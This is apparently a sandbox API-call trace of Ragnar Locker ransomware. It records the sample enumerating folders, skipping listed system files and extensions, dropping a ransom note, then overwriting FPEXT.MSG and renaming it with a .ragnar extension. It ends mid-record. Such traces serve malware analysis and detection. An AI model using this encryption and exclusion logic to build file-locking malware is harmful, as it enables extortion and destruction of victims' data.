ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81082540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0078.499] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.499] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81082540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.499] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.499] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.499] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.499] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0078.499] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0078.499] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1 [0078.499] lstrcmpiW (lpString1="1033", lpString2="Windows.old") returned -1 [0078.499] lstrcmpiW (lpString1="1033", lpString2="Tor browser") returned -1 [0078.499] lstrcmpiW (lpString1="1033", lpString2="Internet Explorer") returned -1 [0078.499] lstrcmpiW (lpString1="1033", lpString2="Google") returned -1 [0078.499] lstrcmpiW (lpString1="1033", lpString2="Opera") returned -1 [0078.499] lstrcmpiW (lpString1="1033", lpString2="Opera Software") returned -1 [0078.499] lstrcmpiW (lpString1="1033", lpString2="Mozilla") returned -1 [0078.499] lstrcmpiW (lpString1="1033", lpString2="Mozilla Firefox") returned -1 [0078.499] lstrcmpiW (lpString1="1033", lpString2="$Recycle.Bin") returned 1 [0078.499] lstrcmpiW (lpString1="1033", lpString2="ProgramData") returned -1 [0078.499] lstrcmpiW (lpString1="1033", lpString2="All Users") returned -1 [0078.499] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x53 [0078.499] lstrcpyW (in: lpString1=0x1ea0b0, lpString2="1033" | out: lpString1="1033") returned="1033" [0078.500] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\" [0078.500] lstrcpyW (in: lpString1=0x1e9e04, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\" [0078.500] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\RGNR_FD7BD9FC.txt" [0078.500] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.502] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*" [0078.502] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1e9124, lpFilePart=0x1e99e4 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", lpFilePart=0x1e99e4*="*.*") returned 0x58 [0078.502] lstrcpyW (in: lpString1=0x1e8f1c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.502] lstrcpyW (in: lpString1=0x1e91ce, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.502] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81082540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13e8 [0078.502] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.502] FindNextFileW (in: hFindFile=0x5a13e8, lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81082540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.503] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.503] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.503] FindNextFileW (in: hFindFile=0x5a13e8, lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2=".") returned 1 [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="..") returned 1 [0078.503] FindNextFileW (in: hFindFile=0x5a13e8, lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81082540, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.503] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.503] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.503] FindNextFileW (in: hFindFile=0x5a13e8, lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81082540, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.503] FindClose (in: hFindFile=0x5a13e8 | out: hFindFile=0x5a13e8) returned 1 [0078.503] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81082540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13e8 [0078.503] FindNextFileW (in: hFindFile=0x5a13e8, lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81082540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.503] FindNextFileW (in: hFindFile=0x5a13e8, lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0078.503] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1e9538, lpFilePart=0x1e99e4 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", lpFilePart=0x1e99e4*="*.*") returned 0x58 [0078.503] lstrcpyW (in: lpString1=0x1e95e2, lpString2="FPEXT.MSG" | out: lpString1="FPEXT.MSG") returned="FPEXT.MSG" [0078.503] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned=".MSG" [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="autorun.inf") returned 1 [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="boot.ini") returned 1 [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="bootfont.bin") returned 1 [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="bootsect.bak") returned 1 [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="bootmgr") returned 1 [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="bootmgr.efi") returned 1 [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="bootmgfw.efi") returned 1 [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="desktop.ini") returned 1 [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="iconcache.db") returned -1 [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="ntldr") returned -1 [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="ntuser.dat") returned -1 [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="ntuser.dat.log") returned -1 [0078.503] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="ntuser.ini") returned -1 [0078.504] lstrcmpiW (lpString1="FPEXT.MSG", lpString2="thumbs.db") returned -1 [0078.504] lstrcmpiW (lpString1=".MSG", lpString2=".db") returned 1 [0078.504] lstrcmpiW (lpString1=".MSG", lpString2=".sys") returned -1 [0078.504] lstrcmpiW (lpString1=".MSG", lpString2=".dll") returned 1 [0078.504] lstrcmpiW (lpString1=".MSG", lpString2=".lnk") returned 1 [0078.504] lstrcmpiW (lpString1=".MSG", lpString2=".msi") returned -1 [0078.504] lstrcmpiW (lpString1=".MSG", lpString2=".drv") returned 1 [0078.504] lstrcmpiW (lpString1=".MSG", lpString2=".exe") returned 1 [0078.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0078.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0078.504] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1e8ef4 | out: lpFileSize=0x1e8ef4*=169637) returned 1 [0078.504] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x2969c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.504] GetProcessHeap () returned 0x580000 [0078.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.504] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e8eb8, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e8eb8*=0x9, lpOverlapped=0x0) returned 1 [0078.508] VirtualAlloc (lpAddress=0x0, dwSize=0x296a5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0078.509] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.509] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e8ecc | out: lpNewFilePointer=0x0) returned 1 [0078.510] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x296a5, lpNumberOfBytesRead=0x1e8eac, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e8eac*=0x296a5, lpOverlapped=0x0) returned 1 [0078.514] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e8eb0 | out: lpNewFilePointer=0x0) returned 1 [0078.515] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x296a5, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.515] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x296a5, lpNumberOfBytesWritten=0x1e8ea8, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e8ea8*=0x296a5, lpOverlapped=0x0) returned 1 [0078.516] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x296a5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.516] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.517] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x296a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.517] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.517] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e8edc, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e8edc*=0x100, lpOverlapped=0x0) returned 1 [0078.517] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e8edc, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e8edc*=0x100, lpOverlapped=0x0) returned 1 [0078.517] WriteFile (in: hFile=0x100, lpBuffer=0x1e8ee0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e8edc, lpOverlapped=0x0 | out: lpBuffer=0x1e8ee0*, lpNumberOfBytesWritten=0x1e8edc*=0x9, lpOverlapped=0x0) returned 1 [0078.517] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.517] GetProcessHeap () returned 0x580000 [0078.517] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.517] CloseHandle (hObject=0x100) returned 1 [0078.517] lstrcpyW (in: lpString1=0x1e8a58, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" [0078.517] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.ragnar_FD7BD9FC" [0078.517] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.518] FindNextFileW (in: hFindFile=0x5a13e8, lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81082540, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.518] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1e9538, lpFilePart=0x1e99e4 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", lpFilePart=0x1e99e4*="*.*") returned 0x58 [0078.518] lstrcpyW (in: lpString1=0x1e95e2, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.518] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.518] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.518] FindNextFileW (in: hFindFile=0x5a13e8, lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81082540, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.518] FindClose (in: hFindFile=0x5a13e8 | out: hFindFile=0x5a13e8) returned 1 [0078.518] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0078.518] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2=".") returned 1 [0078.518] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="..") returned 1 [0078.518] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0078.518] lstrcmpiW (lpString1="FPWEC.DLL", lpString2=".") returned 1 [0078.518] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="..") returned 1 [0078.518] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81082540, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.518] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.518] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.518] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81082540, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.518] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0078.518] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81082540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0078.519] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81082540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.519] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x810a86a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810a86a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.519] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", 